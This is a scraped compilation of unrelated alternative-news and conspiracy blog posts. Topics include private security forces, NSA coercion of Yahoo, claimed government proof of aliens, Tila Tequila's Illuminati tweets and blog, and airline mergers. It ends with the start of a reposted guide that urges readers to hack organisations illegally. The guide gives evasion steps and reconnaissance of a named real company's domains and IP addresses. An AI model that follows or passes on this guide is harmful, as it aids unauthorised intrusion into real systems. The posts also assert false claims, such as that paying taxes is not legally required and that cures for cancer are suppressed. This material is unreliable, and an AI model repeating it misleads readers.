This is the ultimate “feeler” story in the unfolding Totalitarian Tip-Toe if I’ve ever seen one. A quirky local story of “mystery men” used to raise the public threshold of acceptable tyranny, a.k.a. legitimizing private-sector soldiers for law enforcement.

The war machine seems to be gauging how much terror they can inflict on peaceful Americans before they say WTF (See Ferguson) and, perhaps more importantly, to see if the public will allow this vast new market for war profiteers.

It should be a massive media story “private war profiteering at home to terrorize citizens fight crime”. Helicopters, weapons of war, and tactical gear are expensive. Who’s seeding these start-ups anyway?

The manipulation continued a day after this story was reported, when Alex Altman of TIME wrote “Californians Turn to Private Security to Police Pot Country” as if all the citizens of California have agreed to this type of policing. Subtle manipulation.

TIME writes:

Over the summer, residents claimed men in military gear had been dropping onto private property from unmarked helicopters and cutting down the medicinal pot gardens of local residents. Local law enforcement have conducted helicopter raids in the area, but some worried the culprit this time was different: a private-security firm called Lear Asset Management.

The confusion was easy to understand. In the wildlands of California’s pot country, the workings of law enforcement are hard to track, and the rules for growing pot are often contradictory. To add to the mess, the various local, county, state and federal enforcement efforts don’t always communicate with each other about their efforts. The added possibility of private mercenaries, with faceless employers, fast-roping from helicopters raised alarm bells for many farmers.

TIME legitimizes Lear Asset Management and the practice of private policing with a matter-of-fact job description:

They are hired by large land owners to do the work of clearing trespass gardens from private property, and perform forest reclamation, sometimes funded by government grant. Deep in the woods, they cut down illegal pot plants and scrub the environmental footprint produced by the backwoods drug trade. They carry AR-15 rifles, lest they meet armed watchmen bent on defending their plots.

I really don’t have a problem with securing private property from vandals, but did you catch that slip “sometimes funded by government grant”?  That’s when “private security” becomes “law enforcement.” This is the RED ALERT buried in this story. At best our tax dollars are being used to fund private armies for large land owners. At worst, when will we see these warriors policing BLM land (aka National Parks)? Wait for it…

Altman quotes official statistics about how successful Lear and law enforcement are in raiding marijuana farmers, measured in the “street value” of the forbidden crop seized at gunpoint, as if that is still acceptable behavior by society’s peace keepers in the era of legal weed. But Altman just uses it as a segue into a broader “problem” of policing environmental vandalism on large stretches of open land, including “public” land.

More recently, the trespass grow sites have migrated from public land onto the vast plots owned by private citizens and timber companies. Some of them have hired Lear to deal with the problem. The company has run about nine missions across California’s pot country this year, with more planned this fall, Trouette says. And while the company’s special-ops aspect gets much of the attention, most of the work focuses on environmental reclamation.

The public is supposed to believe Lear is merely an environmental clean-up team doing community service who just so happens to have military special ops capability. How quaint. I didn’t know litter maintenance required AR-15s. But who would be opposed protecting the environment? Smart marketing.

TIME goes for the hard close to sell this tyranny by providing legal cover for these raids without warrants, before ending the article as a sponsored post for “regulation” of Lear’s “flourishing” domestic mercenary business as the “best thing for locals.”

Reports of vigilante marijuana raids on private property may simply stem from a lack of legal clarityUnder the so-called “open fields doctrine” set forth by the U.S. Supreme Court, the Fourth Amendment does not protect undeveloped property from warrantless searches. As a result, police may be permitted to cut down private gardens without a warrant. (my emphasis because your need to read and reread every word)

In the meantime, Lear has flourished, despite the concern among some local growers. But like most people in the Emerald Triangle, Trouette thinks thebest thing for the locals would be for the feds to sort out all the confusion. “I think the federal government would do everybody a big favor,” he says, “by regulating this industry.” (my emphasis)

So let me get this straight: a criminal gang of armed thugs commits violence and theft, and the best way to solve that problem is to legalize and regulate those thugs? Sounds like ISIS.

The creepiest thing about this development is that it’s a clever, more professional repackaging of a previous attempt to introduce private police in America. Some of you liberty lovers may recall it being rolled out once before in an eerily similar manner.

In 2009, FOX News wrote U.S. Mystery ‘Police’ Force Has Small Montana City on Edge after a local news report aired showing an extremely well-funded private security contractor going by the name American Police Force (APF) rolling into the town of Hardin in black Mercedes tagged as “Harding Police Department”.

Hiring a private firm for domestic policing caused massive outrage not just locally in Montana but also around the United States. APF is now referred to as a well-funded fraud perpetuated by a petty con man and the event was swiftly dumped into the dustbin of history.

The Wikipedia entry on APF states:

American Police Force (APF), and under its revised name American Private Police Force, was a fraudulent entity claiming to be a private military company. It never possessed any legitimacy to operate in the United States. The company’s previous logo was an exact copy of the Serbian state coat of arms which caused some controversy and resulted in the Serbian government threatening legal action against APF if it did not remove or change the logo.

In September 2009, US government contract databases showed no record of the company, while security industry representatives and federal officials said they had never heard of it.

APF was registered as a corporation in California by convicted con man Michael Hilton on 2 March 2009.

Interestingly, there are absolutely no follow-up reports of “Michael Hilton” or anyone else being prosecuted or convicted in the APF case. They simply vanished. Think about that for a moment. A heavily-armed foreign force invades a small town in America on false pretenses committing dangerous fraud and the U.S. government does absolutely nothing about it. What does that tell you?

Well, we know the U.S. military uses private contractors in foreign wars, and we know the Pentagon is arming and militarizing domestic police, and we know the U.S. Army is training to enter law enforcement. It seems to me that it’s all part of the plan to keep the war machine churning and to control the population.

Now with a more polished version of private security, minus the flashy Mercedes and foreign accents, and sold to us as environmental guardians, this story has gone largely unnoticed. Yet, if these raid allegations are true, Lear’s actions already far exceed anything APF did in Montana.

Stay tuned for my next article on the second unreported tyrannical event that happened in California this past week to be released later today or early tomorrow.

Eric Blair
Activist Post
The NSA Was Going to Fine Yahoo $250K a Day If It Didn’t Join PRISM

The NSA Was Going to Fine Yahoo $250K a Day If It Didn’t Join PRISM

yahoo-nsa-prism-fineWhen we first learned about NSA metadata collection, we wondered how readily the biggest tech companies acquiesced to the government. Today we start to find out. This is the story of how Yahoo was coerced into PRISM, as told by court documents cited by the Washington Post today.

According to the documents, corroborated by a blog post made public today by Yahoo—the U.S. government first approached the company in 2007 asking for user metadata. The request was unprecedented: The U.S. government was no longer interested in obtaining a court review before requesting metadata on an individual target. The order simply asked for data on targets located outside of the U.S. at the time, be they foreign or U.S. citizens.

Yahoo challenged the government requests several times, citing the limits of the U.S. Constitution, but was denied in the Foreign Intelligence Court of Review, the “secret courts” that oversee surveillance requests regarding national security. The repeated denials, plus the threat of losing $250,000 a day, forced Yahoo to comply with the NSA’s PRISM program.

For its part, the U.S. government used Yahoo as an example to coerce other American tech giants, sharing the rulings against Yahoo with companies like Google, Facebook, and Apple.

This information comes to light today, as roughly 1,500 pages of documents pertaining to Yahoo’s failed legal battle were released by Federal Judge William C. Bryson, who presides over the Foreign Intelligence Surveillance Court of Review. Yahoo requested the unsealing of the documents, and the company’s Ron Bell says in this blog post that Yahoo is working to make these never-before-released documents available on Tumblr.

Now that the courts are unsealing documents surrounding PRISM and other national surveillance programs, it’s possible that we’ll hear about other tech companies and whether they resisted the NSA’s requests for sweeping data dumps. Judging by what we’ve learned today, Yahoo tried to stick up for its users’ privacy—until it couldn’t afford to. [The Washington Post]

Mexican Government Releases Proof of E.T.s and Ancient Space Travel

Mexican Government Releases Proof of E.T.s and Ancient Space Travel

IN WHAT WILL SOON BE CONSIDERED AS THE HOLY GRAIL OF EXTRATERRESTRIAL RESEARCH, THE MEXICAN GOVERNMENT HAS RELEASED ANCIENT DOCUMENTS PROVING THE EXISTENCE OF E.T.’S ONCE AND FOR ALL

mexican-artifactsCALAKMUL, MEXICO (INTELLIHUB) — Newly released Mayan documents, i.e. artifacts, dating back at least 1300-years reveal that the human race is not alone and highly advanced technologies including space travel have likely existed for quite some time.

Not only does this documentation released by the Mexican government show the existence of an explorer race, it may also reveal the roots of mankind.

Some consider the government’s presentation of the information to be a major step forward for humanity as the truth is finally being slowly let out. Hopefully this will prompt other governments around the world to be more forthcoming with such information, turning the tide in the UFO and extraterrestrial research community for good.

Sundance winner Juan Carlos Rulfo’s Revelations of the Mayans 2012 and Beyond also touches on such technology. “Producer Raul Julia-Levy said the documentary-makers were working in cooperation with the Mexican government for what he said was “the good of mankind”. He said the order to collaborate had come directly from the country’s president, Álvaro Colom Caballeros.

Mexico will release codices, artifacts and significant documents with evidence of Mayan and extraterrestrial contact, and all of their information will be corroborated by archaeologists,” he said. “The Mexican government is not making this statement on their own – everything we say, we’re going to back it up.”

Caballeros himself was conspicuous by his absence from the statement released by Julia-Levy. So far, the minister of tourism for the Mexican state of Campeche, Luis Augusto García Rosado, appears to be the highest-ranking government official to go on record confirming the discovery of extraterrestrial life, but he’s not holding back.

In a statement, Rosado spoke of contact “between the Mayans and extraterrestrials, supported by translations of certain codices, which the government has kept secure in underground vaults for some time”. In a telephone conversation with the Wrap, he also spoke of “landing pads in the jungle that are 3,000 years old”.[2]

These secrets have been said to be “protected” by the mexican government for as long as 80-years.

Sources:

[1] The Mexican government reveals Mayan documents proving extraterrestrial contacts – Arcturius.org

[2] Mayan documentary to show ‘evidence’ of alien contact in ancient Mexico – TheGuardian.com

[3] Aliens and UFOs Depicted In Mayan Artifacts Released By Mexican Government – ConciusLifeNews.com

BY SHEPARD AMBELLAS

EXCLUSIVE: Origins of the Zombie Apocalypse Hollywood Narrative

EXCLUSIVE: Origins of the Zombie Apocalypse Hollywood Narrative

George A. Romero’s Vital Role in Paving the Road for Today’s Zombie Film

zombiesThe first feature length film to employ zombies as a vehicle for social commentary was Abel Gance’s J’Accuse (1919), which is also memorable for featuring authentic footage from the battlefields of the first World War. In the 1930’s, many zombie films were inspired by mostly misinterpreted Haitian mythology. Today, zombie film and culture now permeate virtually all mass media, everything from video games, to TV shows, to graphic novels. Zombies are used as a narrative device to discuss any number of issues, from oppressive, military states, to contagions and pandemics, to xenophobia and social stigma. We owe most of this to George A. Romero.

Zombie films, and indeed exploitation films in general, would not exist as we know them today if not for Romero’s influence. From his early work with the groundbreaking films Night of the Living Dead (1968), Dawn of the Dead (1978), and Day of the Dead (1985) that set the zombie genre in motion to his recent works like Land of the Dead (2005), Diary of the Dead (2007), and Survival of the Dead (2010) Romero set the standard for the zombie movie in ways that changed how we watch the genre entirely.

Night of the Living Dead, although black and white and also shot on a shoestring budget, has a depth that was surprising for the time. Although the film didn’t shy away from explicit onscreen violence, it wasn’t the blood and guts alone that made this film revolutionary. After all, by 1968, exploitation filmmakers like Herschell Gordon Lewis had already been churning out over-the-top gory films like Blood Feast (1963) for a few years. What distinguished Romero’s film was that it didn’t rely exclusively on sensational gimmicks, but it endeavored to tell a meaningful story with characters that elicited emotional responses from viewers. The film focused more on the human relationships during the post apocalyptic backdrop, and it offered poignant commentary about humanity’s inability to reconcile conflicting self-interests in crisis situations. The film is also notable for featuring a black actor (Duane Jones) as its male lead. What’s more, the film had the audacity to have its main character killed off — and what’s more, the black male lead is shot by a white militia. Bear in mind that Martin Luther King Jr. was assassinated around the time of the film’s release, and Malcolm X had been assassinated a mere three years prior.

His next installment in the Dead saga was Dawn of the Dead (1978), which mostly takes place inside an overrun shopping mall and also focuses on the survivors of a zombie outbreak. We are told that the zombies flock to the mall because they have vague memories of the site holding personal significance for them. It’s Romero’s stab at consumer culture, and the unhealthy degree of importance assigned to material wealth.

In 1985’s Day of the Dead Romero envisions an underground military base where zombies have been kept for experimentation. It evokes sympathy for the zombies, and vilifies the power-crazed military officials (especially the psychopathic Captain Rhodes, who meets an especially gruesome end). Day, with it’s scaything criticism of governmental abuse of power and ethical issues surrounding military service, is perhaps the most socially relevant of all the Dead films. Not only is it attracting fresh attention because of regular screenings on TV, particularly the new grindhouse/horror-oriented El Rey cable network (more info here), but the film also laid the groundwork for modern zombie productions like The Walking Dead, and 28 Days Later. And moreover, his films have been remade and adapted, proving that they are still as relevant as ever to a modern day audience.

While his film Land of the Dead (2005) did offer unique criticism of the Bush administration, his follow-ups, Diary of the Dead (2007), and Survival of the Dead (2010) failed to gain widespread attention like his earlier works did but they still prove to be potent additions to the zombie film genre catalog. His most recent outings lack the potency as the earlier films. However, these movies were not totally without merit and, in fact, only upheld the idea that Romero is an incredibly important figure in the zombie genre who had an integral role shaping what it is today.

In more recent, unrelated works like The Walking Dead and 28 Days Later, the very ideas those films were founded upon are the same ideas that Romero laid out in his earlier works and upheld in his later films. Surely, if not for Romero’s works and contributions, the zombie genre that we know and love to today would seem infinitely less-thrilling, and considerably less relevant, than  it is today.

Martin John Rogers

Martin John Rogers

Martin-John-RogersMartin John Rogers was found with his wrecked car down an embankment in western Maryland on Thursday, September 4, 2014, after disappearing on August 21, 2014 when he left home for work at the world-renowned research center near Washington, D.C. No word yet on the cause of death, an autopsy will be performed to determine the manner of death, according to LA Times and The Baxter Bulletin. Here is where the mystery comes in. According to the report, the search for Rogers didn’t start until a few days after he failed to show up for work, but on the day he disappeared he is seen on surveillance footage and used a credit card at a Motel 8 a few hours after he left home. Martin Rogers had worked at the National Institutes of Health for 15 years and specialized in tropical diseases.

Tila Tequila – Entertainer, Blogger, Activist

Tila Tequila – Entertainer, Blogger, Activist

tila-tequila

Tila Exposing the Illuminati and NWO on Twitter:
1. “If you protest against the GOV…theyll put you in jail and charge you for being Anti-American, when really, you had the right to.”
2. “One World Order isn’t too far away folks. Everything happening now is part of the big plan. They’re gonna start putting micro-chips in you.”
3. “The last president spent 12 billion dollars a MONTH of OUR TAX DOLLARS to fight a war. That money coulda saved our whole country instead.”
4. “And people have actually forgotten that in the Amendment, THE PEOPLE, have power to overturn the GOV, to which they are about to scrap that.”
5. “They also like to instill “FEAR” into the country, because the more “FEAR” you are in, the more likely they can control you with more laws.”
6. “They put in you jail for not payin taxes because they KNOW that u don’t know the truth and wont be able to afford a lawyer to defend u.”
7. “Trust me, paying taxes is not IN THE LAW! People just abide to it cuz they think it’s the law. But there are NO documents stating its a law!”
8. “oh and dont let me tell u about TAXES! Did you know that it is NOT a law that you HAVE TO PAY TAXES? Wow..hold up..droppin 2 much knowledge.”
9. “Just like the Electric Car that was invented. It runs faster than most cars, no gas needed, quiet, but GOV. axed it cuz gas no longer needed.”
10. “U wanna know more truth? Some form of electric free generator had enough power to light up an entire city. They Axed it cuz it would be free.”
11. “The GOV. and PRES is actually NOT highest rank. It is the people in the FEDERAL RESERVE. They run everything. The Masons. Ok im really dead.”
12. “Did you know that the “internet” was actually invented centuries ago? But only the GOV. had use of it until they decided to go public.”
13. “Y do u think CNN and news stations covered Paris Hilton goin 2 jail? they were tryin 2 distract country from bein angry at BUSH 4 goin 2 war.”
14. “And don’t let me get started on CHURCH GROUPS and RELIGION….another Government conspiracy connected to the Federal Reserve. Ok im dead.”
15. “I can’t stand ignorant people…but it’s not their fault cuz school systems SUCK anyway. They haven’t updated textbooks from the 50s!!!!!”
16. “They also have a cure for AIDS and CANCER, but if they put out the cure, BILLIONS of dollars will be lost in the pharmaceutical industry.”
17. “Oh and dont let me get started on our “shitty economy” and how that is slightly part of the plan…..I’ll stop now before I get in trouble.”
18. “John Lennon, Marilyn Monroe, JFK, Martin Luther King, Malcom X just to name a few…influential or knew the truth. Killed by Government.”
19. “Sooooo I’m just gonna stick to this “fun-loving carefree and harmless, non-activist, non-extremist” type person and keept it simple. =)”
20. “Or even worse…..they would Kill me. Yes….the GOV would find a way to KILL me, if my voice becomes too powerful in unveiling the truth.”
21. “I wish I could tell you more about the stuff I know….but I guarantee you, someway, somehow, the Gov. will delete or block my blogs 4 truth.”
22. “A lot of U sound surprised that I know a lot about this stuff. This is the other side of Tila that I dont share w/the world. The SMART side.”
23. “Although I DO have a very strange feeling that secretly, the Government is already doing that on a subtle level. Its all fucked up!”
24. “Let’s PRAY they dont start doing that in AMERICA! Imagine doin a google search for something and nothing comes up but butterflies N unicorns.”
25. “China is a Communist Country! IT IS A SCARY PLACE TO BE LIVING UNDER COMMUNISM! It’s fucked up! People dont have freedom to do anything!”
26. “Like did you guys know that they BANNED me in CHINA??? They blocked my myspace page and people cant search for me online! Scary huh? LOL”
27. “But dont ya’ll think it’s scary that people can control what you think is the “TRUTH?” It’s scary to have censorship. They hide the truth!”
28. “Ohhhh but I knew it would get deleted so I took a screenshot of it! I’m gonna post it now…BRB!!!!!!”
29. “I just think it’s NOT LEGIT….it’s almost like PROPAGANDA! It’s fucked up! U think u have freedom but theres always someone controlling you.”
30. “It’s crazy what people who control powerful websites can do! Like during the presidential campaign, myspace blocked all my bulletins to vote.”
31. “Like when Perez begged them 2 take down the #unfollowperez trend and it got taken down…if that’s the case. I dont think trending is legit.”
32. “That’s really scary to know that people who run big websites like this can control what goes on trend and what they can take down.”

ARE THE ILLUMINATI SCARED OF THIS TINY WOMAN?

Both Alex Jones and Larry King cancelled interviews with celebrity actress Tila Tequila…. why?

Larry King? Well that’s a no brainer, he’s probably ‘swinging with the reptoids”…Alex Jones though? A bit surprising.

Twitter closed her account.

Facebook closed her account too

https://www.facebook.com/Tila

Alex Jones doesn’t like to talk about certain things (list what you come up with below)… I don’t spend endless time following him, although I do respect what he does and who he is, he does seem to be “supported” by an unseen hand.

“Prison planet” and “infowars”… while informative, hardly take us to the golden age… you can’t just keep protesting something from the same energy which the problems are created… you must offer the alternative from a higher spiritual perspective.

Perhaps there’s so much EXPLOSIVE interest in Tila, because she’s speaking truth… what she is saying about “The Others”, is rocking hollywood…. plus she believes in God and has the power of God within her…. we all do, but she realizes it.

Key Takeaways:
1. If Tila wasn’t onto something in all that she revealed, then her Twitter and Facebook accounts would not have been blatantly deleted.
2. Alex Jones invited Tila on the show for an interview then cancelled. He is clearly a fraud, or as Tila would say, “working for the others”. This has been a good litmus test to see what he’s actually made of and the true intentions behind his work.

Here is Tila’s first blog about the Illuminati:

“Hello Dear Ones,

Now, before you start bashing me for thinking that I am “HATING” on Lady GaGa, let me please tell you first that I am not, nor is this post about that. I just wanted to bring light to something that I have known for a VERY long time. Maybe some of you remember me going on about an hour tweeting about these “secrets” that I know of, a long time ago on my old Twitter account. A lot of people knew what I was talking about and was in awe or shocked that I knew so much about it. Other’s who don’t know much about it just thought I was talking “crazy” and “nonsense.” However I feel as though it is my duty to start bringing to light the truth behind what is going on in our world today. So unless you have an open mind, then I digress for you to not continue reading my post. However if you indeed DO have an open mind, or know of these “HINTS” I am dropping to you, then please continue reading. Just letting you guys know, that I will start posting more and more about this, in bits and pieces, as I don’t want to come out and straight up say the whole thing. But if you follow my posts about this, you shall understand my subliminal message that I want to send you, so you can understand what is happening to you and what “THEY” are doing to you.

Ok first of all, do you guys notice how lately, music video’s have a VERY DARK AND SATANIC vibe to them?? For instance a few years ago, pop music video’s were fun, sexy, cute etc. Sorta like when Britney Spears was at the peak of her career and had fresh pop music video’s like “Stronger” or “I’m a Slave For You” “Don’t Let Me Be the Last to Know” etc. You get my point. Compare music video’s from back then until just now. VERY RECENTLY in the past few years. ESPECIALLY once Lady GaGa stepped on the scene, all the music video’s has turned very DARK & SATANIC! I am not joking.

Even Beyonce is now in on it. I don’t want to tell you all of what I know, RIGHT NOW, because “THEY” are watching. As a matter of fact, I had a HUGE battle with “THE OTHERS” for a long time and I must admit, they are powerful. But there needs to be someone, anyone, to stand up against them and for our world to be restored back into peace and harmony once again.

Hmmm… How can I put this. Well, all of Lady Gaga’s Video, even Beyonce’s new video, and XTINA, Miley Cyrus. They all are all of a sudden very DARK & SATANIC! There are TONS of hidden messages in the video and symbols that prove that they worship satan. Please don’t take this as a joke. It is not and it is serious. The Government even now has a way to send out frequencies on your TV that you cannot hear, yet it highly affects your brain and mixed in with all the visuals from the music video’s, you become hypnotized without you even realizing this. That sounds crazy right? Well it is true. I have been studying about this for the past 7 years now and kept quiet about it for a long time, except when I chat with other groups of people I know that also know about “THE OTHERS” if I told you the ENTIRE THING, it will really blow your mind away, but I feel it is SO IMPORTANT for people to know what is happening to them.

This all leads to the urgency of what the Government knows about the 2012 theory of the World Ending. It’s not exactly what you think. There is a lot more to it, I wish I could tell you, but like I said, I will post more blogs to hint to you little by little of what I know and who I have come in contact with to find out even MORE stuff about this. There has been something going on that set off the “RED ALERT” “URGENCY” signal, so that’s why all the pop music video’s are becoming more and more satanic and the artists involved are joined in with “THE OTHERS” so they know what they are doing. Have you guys heard the term “SELL YOUR SOUL TO THE DEVIL” and you get whatever you want? Well that’s actually true, however the “DEVIL” is real. Rihana, Lady Gaga, Beyonce, XTINA, Miley Cyrus, and yes even Taylor Swift amongst hundreds of others who are apart of this allegiance. It’s all “HUSH HUSH” but I know about it, and I know maybe some of you guys know about it as well. I won’t say it, like I did on my Twitter back then, cuz when I did, all of a sudden Twitter blocked my tweets so no one could see them, and Myspace was also blocking all of my bulletins about this stuff. CRAZY right?

Anyway, the reason behind them doing this with the urgency of the music video’s is because they NEED to turn your brain to mush, so that you just become a vegetable, a robot, a zombie, under their command and not realize it. Have you guys seen the the movie “EYES WIDE SHUT?” well it is VERY SIMILAR TO THAT as well as the movie “DEVIL’s ADVOCATE” I’m telling you, this goes way far and beyond just “ENTERTAINMENT” there’s a lot of fucked up shit going on right now behind the scenes, and conspiracy theories and leading up to the world ending. You would be SHOCKED if I told you which celebrities has the same bloodline as the “DEVIL” God I wish I could tell you more. But for now, i will stop and continue another time.

Just keep in mind next time you see all of these music video’s, if you watch it too much, you too, will be infected and become a zombie, a slave to the GOVERNMENT, without you even realizing it. As for Lady GaGa, she has the MOST SATANIC MESSAGES in her video’s. They used her and use her “MUSIC” and say it’s “ART” but really, its to mindfuck you. Like her new “Alajandro” music video. My god, I couldn’t even BEGIN to point out SO MANY SYMBOLIC SIGNS OF DEVIL WORSHIPPING AND SYMBOLS THAT LINK BACK TO THE “OTHERS”.

I for one, was sent on earth from GOD. To be one of his ANGELS to try to help this world that is half light, and half dark. There is right now a crucial War between good and bad. I am on the GOOD side, and that is why they are always trying to get me. Anyway, there’s more I have to tell you about the frequencies they are sending out via your TV, your cellphones and many more that sends radio waves into your brain to start turning you all into zombies and enslaved under “THE OTHERS”

Now I was hesitant to write this blog as I know they are forever watching and are very POWERFUL. But I feel as a HUMAN BEING, people have a RIGHT to know what is happening to them and I am here, God sent me here, to fight this War against the Darkness and these people who practice Satanic Rituals, that is now being shown on our TV for even CHILDREN to watch! I mean, Lady GaGa hung herself at one of the music video awards with blood dripping everywhere! Now on her new “ALEJANDRO” cover there is a devil-like man carrying her naked, lifeless body, with a HUGE SLIT on the side of her and blood. Yet people think that’s ok just because it’s “ART?” no.

Ok well if you guys are interested, i will tell you more. This is just the first level, i can take you deep, deep, deep into this and teach you so much more about the crazy mad shit that has been going on, and who is in alliance with who. You would be SHOCKED to know. But just know, they “THEY” have been lying to you guys for a VERY LONG TIME!

I gotta go now, don’t wanna cause too much commotion about this before they come and do me wrong again. I will tell you one day how they did me wrong because I knew stuff about them. MAJOR stuff about them and once they found out that I knew, the did some fucked up shit. They own the majority of the media. They can do and say whatever they want, Anyway, enough for now….

As for my fans/haters, who don’t understand what I’m talking about, please disregard this post. But for the people who DO KNOW what I’m speaking of, I will continue to write more blogs like this one but each blog I will leave more and more subliminal messages so that you know more of what I know……

Scary shit,

Forever Yours,
Miss Tila, Angel of GOD.”

http://youtu.be/5lVSCWdxYVk

We’re Being Robbed Every Time We Fly

We’re Being Robbed Every Time We Fly

robbed-every-time-we-fly

In less than 15 years, the United States’ airline industry has shrunk from ten airlines in the sky to just the big four that are left today. (Photo via Shutterstock)

There’s a stunning lack of choice for American consumers today, and nowhere is that more evident than in our nation’s ever-shrinking airline industry.

According to a new report from the AP, the average roundtrip ticket to anywhere in the US was over $509.15, including taxes, in the first half of this year. That’s up $14 from the same period last year.

The AP also points out that domestic airfare pricing is outpacing inflation, up 2.7 percent compared to the 2.1 percent increase in the Consumer Price Index.

And, according to data from the Airlines Reporting Corporation, airfare costs have shot up 10.7 percent during the past five years alone.

So, what’s behind these sky-high airfare prices?

Well, as the AP piece points out, airlines have discovered that thanks to the economic recovery, more people want to fly, so airlines have dropped the number of available seats on their planes, which all translates to higher ticket prices.

The airlines are taking advantage of simple supply-and-demand economics.

But that’s just one piece of the puzzle.

The real reason that airfare costs are so high is because of the stunning lack of competition in the airline industry today.

Back in 2001, there were 10 major airlines flying through American skies: American Airlines, TWA, America West, US Airways, Delta, Northwest, United, Continental, Southwest, and AirTran.

All those airline choices meant more completion in the marketplace, which translated into lower airfare prices for American consumers.

However, slowly but surely, the competition in the airline industry has disappeared.

In 2001, American Airlines bought out TWA.

In 2005, America West bought up US Airways, keeping the US Airways name.

In 2008, Delta officially began the process of merging with Northwest.

In 2010, United and Continental announced that they were joining forces, and just a few months later, Southwest announced that it was taking over AirTran.

And finally, last year, US Airways and American Airlines announced that they were merging to form the world’s largest airline.

So, in less than 15 years, the American airline industry has shrunk from ten airlines in the sky to just the big four that are left today.

Similarly, as the number of airlines has dwindled, airfare prices have shot up, because there’s so little competition in the marketplace.

The disappearing competition in the airline industry isn’t just some strange phenomenon.

In fact, this same sort of thing is happening in just about every other industry in America.

Look at America’s media and telecom industries.

Back in 1983 – 90 percent of American media was owned by 50 companies.

As of 2011 – that same 90 percent was controlled by just six massive corporations: GE, Newscorp, Disney, Viacom, Time-Warner and CBS.

Similarly, right now, there are just 10 giant corporations that control, either directly or indirectly, virtually all American consumer products.

And then there’s America’s banking industry.

As Mother Jones points out, 37 banks and financial institutions back in 1990 have slowly transformed into the big four banks we see today (Citigroup, JPMorgan Chase, Bank of America and Wells Fargo).

And we all know how much damage those big banks have done to the American economy.

From fewer airlines in the skies, to fewer banks on Main Street, competition has disappeared from the American marketplace, and it’s all because Ronald Reagan, in 1982, stopped enforcing the Sherman Anti-Trust Act.

Ever since Ronald Reagan came to Washington, “mergers and acquisitions” became the main way to do business, and we’ve all suffered as a result, in the form of things like higher airfare costs.

The steady aggregation of big businesses taking over entire industries over the past 34 years in just about every major commercial sector has concentrated far too much power in the hands of too few players.

Americans deserve choice.

We shouldn’t have to feel like we’re being robbed every time we fly home to see family members or jet off for vacations.

And the only way to bring that choice back is by undoing the damage that 34 years of failed Reaganomics has caused, by starting again to enforce the Sherman Anti-Trust Act, by breaking up America’s giant corporations, and by thus bringing competition back into our marketplace.

This article was first published on Truthout and any reprint or reproduction on any other website must acknowledge Truthout as the original site of publication.

Hack Back: A DIY Guide for Those Without the Patience to Wait for Whistleblowers

Hack Back: A DIY Guide for Those Without the Patience to Wait for Whistleblowers

gamma-finfisher-hacked-tool

 

–[ 1 ]– Introduction

I’m not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz
it took to 0wn Gamma. I’m writing this to demystify hacking, to show how simple
it is, and to hopefully inform and inspire you to go out and hack shit. If you
have no experience with programming or hacking, some of the text below might
look like a foreign language. Check the resources section at the end to help you
get started. And trust me, once you’ve learned the basics you’ll realize this
really is easier than filing a FOIA request.

–[ 2 ]– Staying Safe

This is illegal, so you’ll need to take same basic precautions:

1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
2) Inside the encrypted volume install Whonix [1]
3) (Optional) While just having everything go over Tor thanks to Whonix is
probably sufficient, it’s better to not use an internet connection connected
to your name or address. A cantenna, aircrack, and reaver can come in handy
here.

[0] https://truecrypt.ch/downloads/
[1] https://www.whonix.org/wiki/Download#Install_Whonix

As long as you follow common sense like never do anything hacking related
outside of Whonix, never do any of your normal computer usage inside Whonix,
never mention any information about your real life when talking with other
hackers, and never brag about your illegal hacking exploits to friends in real
life, then you can pretty much do whatever you want with no fear of being v&.

NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable
for some things like web browsing, when it comes to using hacking tools like
nmap, sqlmap, and nikto that are making thousands of requests, they will run
very slowly over Tor. Not to mention that you’ll want a public IP address to
receive connect back shells. I recommend using servers you’ve hacked or a VPS
paid with bitcoin to hack from. That way only the low bandwidth text interface
between you and the server is over Tor. All the commands you’re running will
have a nice fast connection to your target.

–[ 3 ]– Mapping out the target

Basically I just repeatedly use fierce [0], whois lookups on IP addresses and
domain names, and reverse whois lookups to find all IP address space and domain
names associated with an organization.

[0] http://ha.ckers.org/fierce/

For an example let’s take Blackwater. We start out knowing their homepage is at
academi.com. Running fierce.pl -dns academi.com we find the subdomains:
67.238.84.228 email.academi.com
67.238.84.242 extranet.academi.com
67.238.84.240 mail.academi.com
67.238.84.230 secure.academi.com
67.238.84.227 vault.academi.com
54.243.51.249 www.academi.com

Now we do whois lookups and find the homepage of www.academi.com is hosted on
Amazon Web Service, while the other IPs are in the range:
NetRange: 67.238.84.224 – 67.238.84.255
CIDR: 67.238.84.224/27
CustName: Blackwater USA
Address: 850 Puddin Ridge Rd

Doing a whois lookup on academi.com reveals it’s also registered to the same
address, so we’ll use that as a string to search with for the reverse whois
lookups. As far as I know all the actual reverse whois lookup services cost
money, so I just cheat with google:
“850 Puddin Ridge Rd” inurl:ip-address-lookup
“850 Puddin Ridge Rd” inurl:domaintools

Now run fierce.pl -range on the IP ranges you find to lookup dns names, and
fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more
whois lookups and repeat the process until you’ve found everything.

Also just google the organization and browse around its websites. For example on
academi.com we find links to a careers portal, an online store, and an employee
resources page, so now we have some more:
54.236.143.203 careers.academi.com
67.132.195.12 academiproshop.com
67.238.84.236 te.academi.com
67.238.84.238 property.academi.com
67.238.84.241 teams.academi.com

If you repeat the whois lookups and such you’ll find academiproshop.com seems to
not be hosted or maintained by Blackwater, so scratch that off the list of
interesting IPs/domains.

In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com
was simply a whois lookup of finfisher.com which found it registered to the name
“FinFisher GmbH”. Googling for:
“FinFisher GmbH” inurl:domaintools
finds gamma-international.de, which redirects to finsupport.finfisher.com

…so now you’ve got some idea how I map out a target.
This is actually one of the most important parts, as the larger the attack
surface that you are able to map out, the easier it will be to find a hole
somewhere in it.

–[ 4 ]– Scanning & Exploiting

Scan all the IP ranges you found with nmap to find all services running. Aside
from a standard port scan, scanning for SNMP is underrated.

Now for each service you find running:

1) Is it exposing something it shouldn’t? Sometimes companies will have services
running that require no authentication and just assume it’s safe because the url
or IP to access it isn’t public. Maybe fierce found a git subdomain and you can
go to git.companyname.come/gitweb/ and browse their source code.

2) Is it horribly misconfigured? Maybe they have an ftp server that allows
anonymous read or write access to an important directory. Maybe they have a
database server with a blank admin password (lol stratfor). Maybe their embedded
devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer’s
default password.

3) Is it running an old version of software vulnerable to a public exploit?

Webservers deserve their own category. For any webservers, including ones nmap
will often find running on nonstandard ports, I usually:

1) Browse them. Especially on subdomains that fierce finds which aren’t intended
